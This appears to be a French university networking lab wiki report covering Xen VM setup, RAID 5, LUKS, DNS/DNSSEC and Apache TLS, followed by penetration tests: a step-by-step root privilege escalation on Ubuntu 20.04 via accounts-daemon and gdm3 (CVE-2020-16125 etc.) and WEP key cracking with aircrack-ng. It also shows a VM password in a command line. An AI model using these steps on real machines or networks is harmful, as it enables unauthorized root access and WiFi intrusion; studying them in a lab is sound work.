[[Fichier:Hack-honey.png|600px]]&lt;br /&gt;
&lt;br /&gt;
=6. Réalisations=&lt;br /&gt;
&lt;br /&gt;
== 6.1  Sécurisation de données : RAID 5 logiciel==&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, on crée 3 partitions vituelles : &lt;br /&gt;
&lt;br /&gt;
 lvcreate -L1G -n piedbleu-raid1 storage&lt;br /&gt;
&lt;br /&gt;
Ensuite, on modifie le fichier : /etc/xen/piedbleu.cfg, puis on redémarre la VM pour réaliser les actions qui suivent.&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, on installe le paquet mdadm.&lt;br /&gt;
 apt instal mdadm&lt;br /&gt;
&lt;br /&gt;
Ensuite, on construit notre volume RAID 5, et on s'assure qu'il fonctionne à chaque démarrage.&lt;br /&gt;
 mdadm --create /dev/md0 --level=5 --raid-devices=3 /dev/xvda5 /dev/xvda6 /dev/xvda7 &lt;br /&gt;
 mdadm --monitor --daemonise /dev/md0&lt;br /&gt;
&lt;br /&gt;
On formate notre volume RAID.&lt;br /&gt;
 mkfs.ext4 /dev/md0 &lt;br /&gt;
&lt;br /&gt;
On rajoute cette ligne dans le fstab : &lt;br /&gt;
   /dev/md0   /raid5   ext4   defaults   0   2&lt;br /&gt;
&lt;br /&gt;
Pour finir, on peuple notre volume RAID.&lt;br /&gt;
 mkdir /raid5&lt;br /&gt;
 touch /raid5/test&lt;br /&gt;
&lt;br /&gt;
RAID 5 : on doit avoir minimum 3 disques, mais on peut survivre seulement à la perte d'un seul disque.&lt;br /&gt;
On peut donc supprimer une partition et toujours avoir accès à nos fichiers.&lt;br /&gt;
&lt;br /&gt;
==6.2  Chiffrement de données==&lt;br /&gt;
&lt;br /&gt;
Pour chiffrer la partition de notre clé USB et pouvoir y écrire des fichiers, on exécute les commandes suivantes : &lt;br /&gt;
&lt;br /&gt;
 $ fdisk -l # on répère la clé USB&lt;br /&gt;
 $ fdisk /dev/sdb # on formate la clé en une seule partition&lt;br /&gt;
 $ cryptsetup luksFormat /dev/sdb1 # on chiffre l'unique partition de la clé USB&lt;br /&gt;
 $ cryptsetup luksOpen /dev/sdb1 myusbkey # on déchiffre la partition&lt;br /&gt;
 $ mkfs.ext4 /dev/mapper/myusbkey # on formatte la partition en EXT4&lt;br /&gt;
&lt;br /&gt;
Ensuite, on monte la clé USB, et on la peuple : &lt;br /&gt;
&lt;br /&gt;
 $ mkdir /mnt/USB &lt;br /&gt;
 $ mount -t ext4 /dev/mapper/myusbkey /mnt/USB&lt;br /&gt;
 $ touch /mnt/USB/mytestfile.txt&lt;br /&gt;
&lt;br /&gt;
Une fois que l'on a fini, on démonte le système de fichier proprement : &lt;br /&gt;
&lt;br /&gt;
 $ umount /mnt/USB&lt;br /&gt;
 $ cryptsetup luksClose myusbkey&lt;br /&gt;
&lt;br /&gt;
== 6.4  Sécurisation WiFi par WPA2-EAP (FreeRADIUS) ==&lt;/div&gt;</summary>
		<author><name>Jsoulaim</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:Dnssec1.png&amp;diff=54279</id>
		<title>Fichier:Dnssec1.png</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:Dnssec1.png&amp;diff=54279"/>
				<updated>2020-12-06T01:11:35Z</updated>
		
		<summary type="html">&lt;p&gt;Jsoulaim : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>Jsoulaim</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G8&amp;diff=54278</id>
		<title>TP sysres IMA5sc 2020/2021 G8</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G8&amp;diff=54278"/>
				<updated>2020-12-06T01:10:02Z</updated>
		
		<summary type="html">&lt;p&gt;Jsoulaim : /* 4.4 Sécurisation de serveur DNS par DNSSEC */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=2. Installation de la machine virtuelle Xen=&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, on fait un SSH sur capbreton.&lt;br /&gt;
&lt;br /&gt;
Puis création de la machine virtuelle :  &lt;br /&gt;
 xen-create-image --hostname=piedbleu --ip=100.64.0.22 --netmask=255.255.255.0 --password=pasglop --dir=/usr/local/xen --dist=buster --gateway=100.64.0.5 --force&lt;br /&gt;
&lt;br /&gt;
On renomme les LVM avec lv rename : &lt;br /&gt;
&lt;br /&gt;
 lvrename /dev/storage/piedbleu1 /dev/storage/piedbleu-home&lt;br /&gt;
 lvrename /dev/storage/piedbleu2 /dev/storage/piedbleu-var&lt;br /&gt;
&lt;br /&gt;
On obtient (lvdispaly) : &lt;br /&gt;
&lt;br /&gt;
 --- Logical volume ---&lt;br /&gt;
  LV Path                /dev/storage/piedbleu-home&lt;br /&gt;
  LV Name                piedbleu-home&lt;br /&gt;
  VG Name                storage&lt;br /&gt;
  LV UUID                UIBfvf-NW8A-iag9-WwcT-HiZu-53UW-u4DRMA&lt;br /&gt;
  LV Write Access        read/write&lt;br /&gt;
  LV Creation host, time capbreton, 2020-10-12 16:38:58 +0100&lt;br /&gt;
  LV Status              available&lt;br /&gt;
  # open                 1&lt;br /&gt;
  LV Size                10.00 GiB&lt;br /&gt;
  Current LE             2560&lt;br /&gt;
  Segments               1&lt;br /&gt;
  Allocation             inherit&lt;br /&gt;
  Read ahead sectors     auto&lt;br /&gt;
  - currently set to     256&lt;br /&gt;
  Block device           254:12&lt;br /&gt;
   &lt;br /&gt;
  --- Logical volume ---&lt;br /&gt;
  LV Path                /dev/storage/piedbleu-var&lt;br /&gt;
  LV Name                piedbleu-var&lt;br /&gt;
  VG Name                storage&lt;br /&gt;
  LV UUID                yZPi6c-xffl-2PgT-YuXk-DYma-X15f-Uci6C1&lt;br /&gt;
  LV Write Access        read/write&lt;br /&gt;
  LV Creation host, time capbreton, 2020-10-12 16:39:03 +0100&lt;br /&gt;
  LV Status              available&lt;br /&gt;
  # open                 1&lt;br /&gt;
  LV Size                10.00 GiB&lt;br /&gt;
  Current LE             2560&lt;br /&gt;
  Segments               1&lt;br /&gt;
  Allocation             inherit&lt;br /&gt;
  Read ahead sectors     auto&lt;br /&gt;
  - currently set to     256&lt;br /&gt;
  Block device           254:13&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ensuite, on modifie le fichier : /etc/xen/piedbleu.cfg&lt;br /&gt;
&lt;br /&gt;
Dans la catégorie &amp;quot;Disk device(s)&amp;quot;, partie &amp;quot;disk&amp;quot;, on ajoute les lignes suivantes : &lt;br /&gt;
 phy:/dev/storage/piedbleu-home,xvda3,w',&lt;br /&gt;
 phy:/dev/storage/piedbleu-var,xvda4,w',&lt;br /&gt;
&lt;br /&gt;
Dans la catégorie &amp;quot;Networking&amp;quot;, on ajoute : &lt;br /&gt;
 bridge=IMA5sc&lt;br /&gt;
&lt;br /&gt;
Ensuite, on lance la VM : &lt;br /&gt;
 xl create -c /etc/xen/piedbleu.cfg&lt;br /&gt;
Par la suite, pour accéder à la VM, on fera : &lt;br /&gt;
 xl console piedbleu&lt;br /&gt;
&lt;br /&gt;
Dans la VM, on formate xvda3, xvda4 en ext 4 : &lt;br /&gt;
 mkfs.ext4 /dev/xvda3&lt;br /&gt;
 mkfs.ext4 /dev/xvda4&lt;br /&gt;
&lt;br /&gt;
On modifie le fstab en ajoutant : &lt;br /&gt;
&lt;br /&gt;
 /dev/xvda3 /home defaults 0 2&lt;br /&gt;
 /dev/xvda4 /var defaults 0 2&lt;br /&gt;
&lt;br /&gt;
Et après on les monte :  &lt;br /&gt;
 mount -a &lt;br /&gt;
puis on fait un lsblk pour vérifier.&lt;br /&gt;
&lt;br /&gt;
On obtient :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Lsblk-g8-2021.png|480px]]&lt;br /&gt;
&lt;br /&gt;
=4. Services Internet=&lt;br /&gt;
==4.0 Accès à Internet==&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, on configure le fichier /etc/network/interfaces : &lt;br /&gt;
&lt;br /&gt;
 # The loopback network interface&lt;br /&gt;
 auto lo&lt;br /&gt;
 iface lo inet loopback&lt;br /&gt;
 # The primary network interface&lt;br /&gt;
 auto eth0&lt;br /&gt;
 iface eth0 inet static&lt;br /&gt;
  address 193.48.57.181&lt;br /&gt;
  netmask 255.255.255.255&lt;br /&gt;
  up ip address add dev eth0 100.64.0.21/24 &lt;br /&gt;
  up ip route add default via 100.64.0.2 src 193.48.57.181&lt;br /&gt;
  down ip address del dev eth0 100.64.0.21/24 &lt;br /&gt;
  down ip route del default via 100.64.0.2 src 193.48.57.181&lt;br /&gt;
 iface eth0 inet6 auto&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ensuite, ssh sur la zabeth09, puis minicom : &lt;br /&gt;
&lt;br /&gt;
 enable&lt;br /&gt;
 conf t&lt;br /&gt;
 ip route 193.48.57.181 255.255.255.255 100.64.0.21&lt;br /&gt;
 exit&lt;br /&gt;
 write&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On fait un ping pour tester : &lt;br /&gt;
&lt;br /&gt;
 $  ping google.fr&lt;br /&gt;
&lt;br /&gt;
==4.1  Serveur SSH==&lt;br /&gt;
On modifie le fichier /etc/ssh/sshd_config.&lt;br /&gt;
Ensuite on active le serveur ssh : &lt;br /&gt;
&lt;br /&gt;
 $ service ssh start&lt;br /&gt;
&lt;br /&gt;
Puis sur un autre terminal, on fait un : &lt;br /&gt;
&lt;br /&gt;
 $ ssh root@193.48.57.181&lt;br /&gt;
&lt;br /&gt;
==4.2  Serveur DNS==&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, nous allons sur Gandi et nous paramétrons notre nom de domaine piedbleu.site de la façon suivante : &lt;br /&gt;
&lt;br /&gt;
 Nom de domaine &amp;gt; piedbleu.site &amp;gt; Glue Records&lt;br /&gt;
       ns1.piedbleu.site&lt;br /&gt;
       193.48.57.181&lt;br /&gt;
&lt;br /&gt;
 Nom de domaine &amp;gt; piedbleu.site &amp;gt; Serveurs de noms &amp;gt; Externe (au lieu de live Gandi DNS)&lt;br /&gt;
       1er  : ns1.piedbleu.site&lt;br /&gt;
&lt;br /&gt;
Après avoir configuré noter nom de domaine, nous configurons notre serveur DNS sur notre VM.&lt;br /&gt;
&lt;br /&gt;
Nous commençons par installer le paquet bind:&lt;br /&gt;
&lt;br /&gt;
 apt install bind9&lt;br /&gt;
&lt;br /&gt;
Bind9 est notre serveur DNS que nous allons configurer. Cela se déroule en plusieurs étapes:&lt;br /&gt;
&lt;br /&gt;
1ère étape: &lt;br /&gt;
&lt;br /&gt;
Nous commençons par changer le nom du serveur dans le fichier /etc/resolv.conf&lt;br /&gt;
&lt;br /&gt;
 name serveur 127.0.0.1&lt;br /&gt;
&lt;br /&gt;
L'adresse 127.0.0.1 spécifie que notre DNS correspond à notre machine.&lt;br /&gt;
&lt;br /&gt;
2ème étape:&lt;br /&gt;
Dans le fichier /etc/bind/named.conf.local, nous créons une zone &amp;quot;piedbleu.site&amp;quot; qui spécifie que notre DNS ns1.piedbleu.site est notre DNS primaire :&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;piedbleu&amp;quot; IN {&lt;br /&gt;
         type master;&lt;br /&gt;
         file &amp;quot;/etc/bind/db.piedbleu.site&amp;quot;;&lt;br /&gt;
         allow-transfer { 217.70.177.40; };&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
La dernière ligne nous permet d'autoriser le transfert des informations du DNS primaire (ns1.piedbleu.site) au DNS secondaire ( ns6.gandi.net, ip:217.70.177.40;).&lt;br /&gt;
&lt;br /&gt;
3ème partie:&lt;br /&gt;
Dans le fichier cat /etc/bind/db.piedbleu.site, nous configurons la zone &amp;quot;piedbleu.site&amp;quot;:&lt;br /&gt;
&lt;br /&gt;
 ;&lt;br /&gt;
 ; BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 TTL    604800&lt;br /&gt;
 @       IN      SOA     ns1.piedbleu.site. root.piedbleu.site. (&lt;br /&gt;
                               3         ; Serial&lt;br /&gt;
                          604800         ; Refresh&lt;br /&gt;
                            86400         ; Retry&lt;br /&gt;
                         2419200         ; Expire                          &lt;br /&gt;
                          604800 )       ; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @       IN      NS      ns1.piedbleu.site.&lt;br /&gt;
 @       IN      NS      ns6.gandi.net.&lt;br /&gt;
 ns1     IN      A       193.48.57.181&lt;br /&gt;
&lt;br /&gt;
Nous spécifions ns1.piedbleu.site comme étant notre localhost et root.piedbleu.site comme étant notre root.localhost.&lt;br /&gt;
Nous ajoutons ensuite nos deux NS ( ns1.piedbleu.site et ns6.gandi.net ) ainsi que l'adresse du premier NS : 193.48.57.181.&lt;br /&gt;
&lt;br /&gt;
Pour vérifier que notre configuration est bien réalisée, nous entrons la commande suivante:&lt;br /&gt;
&lt;br /&gt;
 host -t any piedbleu.site&lt;br /&gt;
&lt;br /&gt;
résultat :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:reponse.png | 600px]]&lt;br /&gt;
&lt;br /&gt;
A présent, nous pouvons configurer le serveur de nom secondaire : &lt;br /&gt;
 Nom de domaine &amp;gt; piedbleu.site &amp;gt; Serveurs de noms &amp;gt; Externe (au lieu de live Gandi DNS)&lt;br /&gt;
       2ème : ns6.gandi.net&lt;br /&gt;
&lt;br /&gt;
==4.3 Sécurisation de site web par certificat==&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, nous configurons un serveur mail afin d'être en mesure de recevoir le mail de confirmation de Gandi lorsque l'on va demander un certificat.&lt;br /&gt;
&lt;br /&gt;
Dans le fichier cat /etc/bind/db.piedbleu.site, nous rajoutons la ligne suivante:&lt;br /&gt;
&lt;br /&gt;
 @       IN      MX      100 ns1.piedbleu.site.&lt;br /&gt;
&lt;br /&gt;
Nous installons ensuite postfix ( configuration : &amp;quot;Internet Site&amp;quot;, nom du site &amp;quot; piedbleu.site&amp;quot; ).&lt;br /&gt;
&lt;br /&gt;
Nous ajoutons ensuite l'alias dans le fichier /etc/aliases&lt;br /&gt;
&lt;br /&gt;
 admin:root&lt;br /&gt;
&lt;br /&gt;
et nous effectuons la commande : &lt;br /&gt;
&lt;br /&gt;
 newaliases&lt;br /&gt;
&lt;br /&gt;
Nous pouvons maintenant envoyer des mails à l'adresse &amp;quot;admin@piedbleu.site&amp;quot;. Ces mails sont visibles lorsque l'on tape la commande :&lt;br /&gt;
 &lt;br /&gt;
 mailx&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dans un second temps, nous configurons notre serveur apache. Afin de configurer le serveur Apache2, nous avons besoin d'une clé asymétrique ainsi que d'un certificat signé par une autorité de certification (CA), qui sera Gandi.&lt;br /&gt;
&lt;br /&gt;
Nous devons pour cela générer une Demande de Signature de Cerificat. Nous utilisons pour cela la commande suivante:&lt;br /&gt;
&lt;br /&gt;
 openssl req -nodes -newkey rsa:2048 -sha256 -keyout piedbleu.site.key -out piedbleu.csr&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
- newkey tsa:2048 permet de génerer une requete CSR et une clé privée utilisant le chiffrement RSA sur 2048 bits.&lt;br /&gt;
&lt;br /&gt;
- keyout piedbleu.site.key permet de sauvegarder le fichier de clé privée sous le nom &amp;quot;piedbleu.site.key&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
- -out piedbleu.csr permet de sauvegarder le fichier CSR sous le nom &amp;quot;piedbleu.csr&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
À la suite de cette commande, nous entrons nos données d'identifications. Nous ferons attention à bien entrer le nom de domaine &amp;quot;piedbleu.site&amp;quot; pour le Common Name.&lt;br /&gt;
&lt;br /&gt;
Nous obtenons deux fichiers: un fichier de clé privée .key ainsi qu'un fichier de CSR .csr&lt;br /&gt;
&lt;br /&gt;
Le fichier piedbleu.csr nous permet de faire une demande de certificat auprès de Gandi. Nous allons pour cela copier son contenu sur l'interface de Gandi lors de la procédure d'achat de certificat.&lt;br /&gt;
&lt;br /&gt;
On reçoit alors un mail de vérification de la part de Gandi avec un lien et un mot de passe de vérification. Après avoir rentrer le mot de passe dans la zone appropriée, nous avons pu récurer sur Gandi notre certificat ainsi qu'un certificat intermédiaires. Nous téléchargeons et plaçons ces certificats dans un répertoire spécifique:&lt;br /&gt;
&lt;br /&gt;
 /etc/ssl/piedbleu.site.crt&lt;br /&gt;
 /etc/ssl/GandiStandardSSLCA2.pem&lt;br /&gt;
&lt;br /&gt;
Nous copions aussi notre clé privée dans ce repertoire:&lt;br /&gt;
&lt;br /&gt;
 /etc/ssl/piedbleu.site.key&lt;br /&gt;
&lt;br /&gt;
Nous pouvons maintenant passer à la configuration d'apache2 :&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, il est nécessaire d'activer le module SSL d'apache:&lt;br /&gt;
 &lt;br /&gt;
 a2enmod ssl&lt;br /&gt;
&lt;br /&gt;
Pour réaliser la configuration, nous modifions le fichier 000-default.conf. situé dans le répertoire  /etc/apache2/sites-enabled. Nous modifions le VirutalHost dédié au HTTP (port 80) et le VirtualHost dédié au HTTPS( port 443):&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
  ServerAdmin admin@piedbleu.site&lt;br /&gt;
  DocumentRoot /var/www/html&lt;br /&gt;
  ErrorLog ${APACHE_LOG_DIR}/error.log&lt;br /&gt;
  CustomLog ${APACHE_LOG_DIR}/access.log combined&lt;br /&gt;
  Redirect permanent / https://www.piedbleu.site/&lt;br /&gt;
 &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
 &amp;lt;VirtualHost 193.48.57.181:443&amp;gt;&lt;br /&gt;
  ServerName piedbleu.site&lt;br /&gt;
  ServerAlias www.piedbleu.site&lt;br /&gt;
  DocumentRoot /var/www/html&lt;br /&gt;
  CustomLog /var/log/apache2/secure_access.log combined&lt;br /&gt;
  SSLEngine on&lt;br /&gt;
  SSLCertificateFile /etc/ssl/piedbleu.site.crt&lt;br /&gt;
  SSLCertificateKeyFile /etc/ssl/piedbleu.site.key&lt;br /&gt;
  SSLCACertificateFile /etc/ssl/GandiStandardSSLCA2.pemSSLVerifyClient None&lt;br /&gt;
 &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
La commande &lt;br /&gt;
 apachect1 configtest &lt;br /&gt;
nous indique bien que la syntaxe est correcte.&lt;br /&gt;
&lt;br /&gt;
Nous devons aussi modifier la configuration de notre DNS ( fichier db.piedbleu.site), en rajoutant un enregistrement de type A:&lt;br /&gt;
&lt;br /&gt;
 www	IN	A	193.48.57.181&lt;br /&gt;
&lt;br /&gt;
Pour que les modifications soient prises en compte, nous redémarrons apache2:&lt;br /&gt;
&lt;br /&gt;
 service apache2 restart&lt;br /&gt;
&lt;br /&gt;
==4.4 Sécurisation de serveur DNS par DNSSEC==&lt;br /&gt;
&lt;br /&gt;
Nous commençons tout d'abord par activer DNSSEC en ajoutant dans le fichier /etc/bind/named.conf.options l'option:&lt;br /&gt;
 dnssec-enable yes&lt;br /&gt;
&lt;br /&gt;
Nous souhaitons ensuite générer deux couples de clefs qui servirons pour le chiffrement.Avant cela, nous créons un dossier piedbleu.site.dnssec où serons stocker ces clefs.&lt;br /&gt;
&lt;br /&gt;
Nous commençons par générer le couple de clefs asymétrique de signature de clefs de zone:&lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE piedbleu.site&lt;br /&gt;
&lt;br /&gt;
Nous générons ensuite le couple de clefs asymétrique de la zone pour signer les enregistrements:&lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 1024 -n ZONE piedbleu.site&lt;br /&gt;
&lt;br /&gt;
Nous renommons les deux paires de clefs obtenues de la manière suivante:&lt;br /&gt;
 Kpiedbleu.site.+005+09001.key -&amp;gt; piedbleu.site-ksk.key &lt;br /&gt;
 Kpiedbleu.site.+005+09001.private -&amp;gt; piedbleu.site-ksk.private&lt;br /&gt;
 Kpiedbleu.site.+005+22902.key -&amp;gt; piedbleu.site-zsk.key&lt;br /&gt;
 Kpiedbleu.site.+005+22902.private -&amp;gt; piedbleu.site-zsk.private&lt;br /&gt;
&lt;br /&gt;
Nous incluons ensuite les deux clefs publiques dans notre fichier de zone:&lt;br /&gt;
&lt;br /&gt;
 $include /etc/bind/piedbleu.site.dnssec/piedbleu.site-ksk.key&lt;br /&gt;
 $include /etc/bind/piedbleu.site.dnssec/piedbleu.site-zsk.key&lt;br /&gt;
&lt;br /&gt;
Nous n’oublions pas d'incrémenter le numéro version pour que les modifications soient prises en compte.&lt;br /&gt;
&lt;br /&gt;
on signe ensuite les enregistrement de la zone : &lt;br /&gt;
 dnssec-signzone -o piedbleu.site -k piedbleu.site-ksk ../db.piedbleu.site piedbleu.site-zsk&lt;br /&gt;
&lt;br /&gt;
Pour que le fichier signé soit pris en compte, nous modifions le fichier /etc/bind/named.conf.local pour utiliser la zone signée de suffixe .signed :&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;piedbleu.site&amp;quot; IN {&lt;br /&gt;
         type master;&lt;br /&gt;
         file &amp;quot;/etc/bind/db.piedbleu.site.signed&amp;quot;;&lt;br /&gt;
         allow-transfer { 217.70.177.40; };&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
La dernière étape consiste à faire communiquer la partie publique de la KSK qui est présente dans le fichier piedbleu.site-ksk.key à Gandi.&lt;br /&gt;
&lt;br /&gt;
 service bind9 restart&lt;br /&gt;
&lt;br /&gt;
Vérification:&lt;br /&gt;
&lt;br /&gt;
Nous vérifions la configuration de notre DNS grâce au site : https://dnssec-analyzer.verisignlabs.com/&lt;br /&gt;
&lt;br /&gt;
=5. Tests d’intrusion=&lt;br /&gt;
&lt;br /&gt;
==5.1  Exploitation de failles du système : Ubuntu 20.04 en *exclusivité* ==&lt;br /&gt;
&lt;br /&gt;
Plutôt que d'utiliser un ancien noyau Linux et des outils comme Metasploit, je vous propose en  &amp;lt;span style=&amp;quot;color:red&amp;quot;&amp;gt; '''exclusivité dans le département IMA''' &amp;lt;/span&amp;gt; l'exploitation de plusieurs vulnérabilités dans la dernière version de Ubuntu, la 20.04.1, kernel 5.6. Ces exploits ont été publiés le 10/11/2020 et aujourd'hui, à l'heure où j'écris ces lignes nous sommes le 11/11/2020. En ce jour férié, en parcourant l'actualité IT, j'ai apperçu un article fort intéressant, que je vais reprendre ici pour obtenir les droits administrateurs sur la machine Linux : &lt;br /&gt;
&lt;br /&gt;
1) J'installe Ubuntu 20.04 dans une VM.&lt;br /&gt;
&lt;br /&gt;
2) Par défaut la session fait partie du groupe sudo, je fais donc un compte utilisateur standard pour mener à bien mon exploit, sinon c'est de la triche...&lt;br /&gt;
&lt;br /&gt;
 $ sudo adduser u1&lt;br /&gt;
 $ su u1&lt;br /&gt;
 $ id&lt;br /&gt;
 uid=1001(u1) gid=1001(u1) groupes=1001(u1)&lt;br /&gt;
&lt;br /&gt;
3) On fait un DOS (denial of service) sur accounts-daemon, pour ce faire on fait d'abord le lien symbolique suivant : &lt;br /&gt;
&lt;br /&gt;
 $ ln -s /dev/zero ~/.pam_environment&lt;br /&gt;
&lt;br /&gt;
Puis on va dans Settings &amp;gt; Region and Language &amp;gt; Language, et on change de langue. On se rend vite compte que le CPU tourne à 100%. En faisant la commande : &lt;br /&gt;
&lt;br /&gt;
 $ top&lt;br /&gt;
&lt;br /&gt;
On se rend compte que accounts-daemon utilise presque toutes les ressources CPU. On récupère son PID, puis on lui envoie le signal SIGSTOP.&lt;br /&gt;
&lt;br /&gt;
 $ kill -SIGSTOP 1098&lt;br /&gt;
&lt;br /&gt;
Maintenant, on peut supprimer le lien symbolique qui a causé le DOS pour ne pas que l'exploit se relance à chaque nouvelle session.&lt;br /&gt;
&lt;br /&gt;
 $ rm ~/.pam_environment&lt;br /&gt;
&lt;br /&gt;
Ici on va faire crasher le accounts-daemon, mais seulement une fois que l'on s'est déconnecté, on lance donc cette tâche en arrière plan après 10 secondes. &lt;br /&gt;
 &lt;br /&gt;
 $ nohup bash -c &amp;quot;sleep 10s; kill -SIGSEGV 1098; kill -SIGCONT 1098&amp;quot;&lt;br /&gt;
&lt;br /&gt;
On se déconnecte de notre session.&lt;br /&gt;
&lt;br /&gt;
Le menu &amp;quot;Welcome&amp;quot; de Ubuntu apparaît après quelques temps d'attente !! C'est le menu d'installation de Ubuntu qui est censé venir seulement la 1ere fois que l'on installe l'OS sur notre machine. On va donc être en mesure de configurer une nouvelle session qui aura les droits administrateurs sur la machine (et ce, sans supprimer les autres comtpes). Un nouvel utilisateur apparaît sur la machine ! &lt;br /&gt;
&lt;br /&gt;
 $ whoami&lt;br /&gt;
 pwn&lt;br /&gt;
 $ id&lt;br /&gt;
 uid=1002(pwn) gid=1002(pwn) groupes=1002(pwn), 27(sudo)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Explication : '''&lt;br /&gt;
&lt;br /&gt;
En changeant la langue dans &amp;quot;Region and Language&amp;quot;, le programme accountsservice daemon (accounts-daemon) va lire le fichier .pam_environment situé dans le home. Cependant nous avons fait un lien symbolique malicieux pointant sur /dev/zero. Le programme va donc tourner en boucle infini car il n'arrivera jamais à finir de lire /dev/zero.&lt;br /&gt;
&lt;br /&gt;
La deuxième faille réside dans le fait que accounts-daemon abaisse ses privilèges root en privilège standard seulement quand il lit le .pam_environment. Or il est enfermé dans une boucle infini grâce à notre lien malicieux. On va donc pouvoir lui envoyer les signaux SIGSTOP, SIGSEGV, SIGCONT sans avoir de droit root. En fait à la base l'abaissement de privilège est une protection pour empêcher de lire dans /etc/shadow par exemple... &lt;br /&gt;
&lt;br /&gt;
Ensuite, on se déconnecte de notre session en lançant en arrière plan le kill -SIGSEGV de accounts-daemon. Sauf que le gestionnaire de session gdm3 demande à accounts-daemon combien de session il y a afin de nous permettre de choisir laquelle on va utiliser pour se connecter. Accounts-daemon étant hors service, gdm3 va lire la valeur par défaut de priv-&amp;gt;have_existing_user_accounts, qui est : &amp;quot;false&amp;quot;. Gdm3 pense donc qu'il n'y a aucune session sur la machine et va lancer gnome-initial-setup.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Note 1 : ''' La faille semble avoir été rapidement patchée.&lt;br /&gt;
&lt;br /&gt;
'''Note 2 : ''' Les failles exploitées lors de l'élévation de privilège : &lt;br /&gt;
&lt;br /&gt;
accountsservice denial of service (GHSL-2020-187, GHSL-2020-188 / CVE-2020-16126, CVE-2020-16127)&lt;br /&gt;
&lt;br /&gt;
gdm3 privilege escalation due to unresponsive accounts-daemon (GHSL-2020-202 / CVE-2020-16125)&lt;br /&gt;
&lt;br /&gt;
'''Version du noyau et des parquets : '''&lt;br /&gt;
 Ubuntu 20.04.1 LTS, kernel 5.6&lt;br /&gt;
 gdm3, version 3.36.3-0ubuntu0.20.04.1&lt;br /&gt;
 accountsservice, version 0.6.55-0ubuntu12~20.04.1&lt;br /&gt;
&lt;br /&gt;
''' Source : ''' &lt;br /&gt;
&lt;br /&gt;
''How to get root on Ubuntu 20.04 by pretending nobody’s /home'', Kevin Backhouse, November 10 2020&lt;br /&gt;
&lt;br /&gt;
https://securitylab.github.com/research/Ubuntu-gdm3-accountsservice-LPE&lt;br /&gt;
&lt;br /&gt;
==5.2  Cassage de clef WEP d’un point d’accès WiFi==&lt;br /&gt;
&lt;br /&gt;
Nous commençons tout d’abord par installer le paquet aircrack :&lt;br /&gt;
&lt;br /&gt;
 $ apt-get install aircrack-ng&lt;br /&gt;
&lt;br /&gt;
À partir de là, nous listons la liste des interfaces wifi disponibles :  (pour repérer le nom du réseau sans fil correspondant à notre binôme) :&lt;br /&gt;
&lt;br /&gt;
 $ airmon-ng&lt;br /&gt;
&lt;br /&gt;
[[Fichier:screen1.png|600px]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On remarque que notre carte wifi est désignée par le nom wlp1s0mon qui correspond à l’interface.&lt;br /&gt;
&lt;br /&gt;
Nous passons ensuite notre interface en mode monitor, pour écouter le trafic wifi aux alentours.&lt;br /&gt;
&lt;br /&gt;
 $ airmon-ng start wlp1s0mon&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On peux ensuite lancer le scan des réseaux wifi environnants :&lt;br /&gt;
&lt;br /&gt;
 $ airodump-ng --encrypt wep wlp1s0mon&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Screen2.png|600px]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On repère le point d’accès qui correspond au réseau wifi qui nous intéresse ( cracotte 08). on récupère le bssid : 04:DA:D2:9C:50:57 , et le chanel : 3.&lt;br /&gt;
&lt;br /&gt;
On capture ensuite les paquets émis par le point  d’accès cible :&lt;br /&gt;
&lt;br /&gt;
 $ airodump-ng --write mon_fichier --channel 3 --bssid 04:DA:D2:9C:50:57 wlp1s0mon&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Screen3.png|600px]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On se concentre sur l’indicateur #Data qui permet de savoir le nombre de paquets data collecté. Une fois que ce nombre atteint 30000, on lance dans un autre terminal le crack de la clé :&lt;br /&gt;
&lt;br /&gt;
 $ aircrack-ng -z mon_fichier-01.cap&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Screen4.png|600px]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On voit que le programme a réussi à trouver la clé ( message « Key Found »).&lt;br /&gt;
&lt;br /&gt;
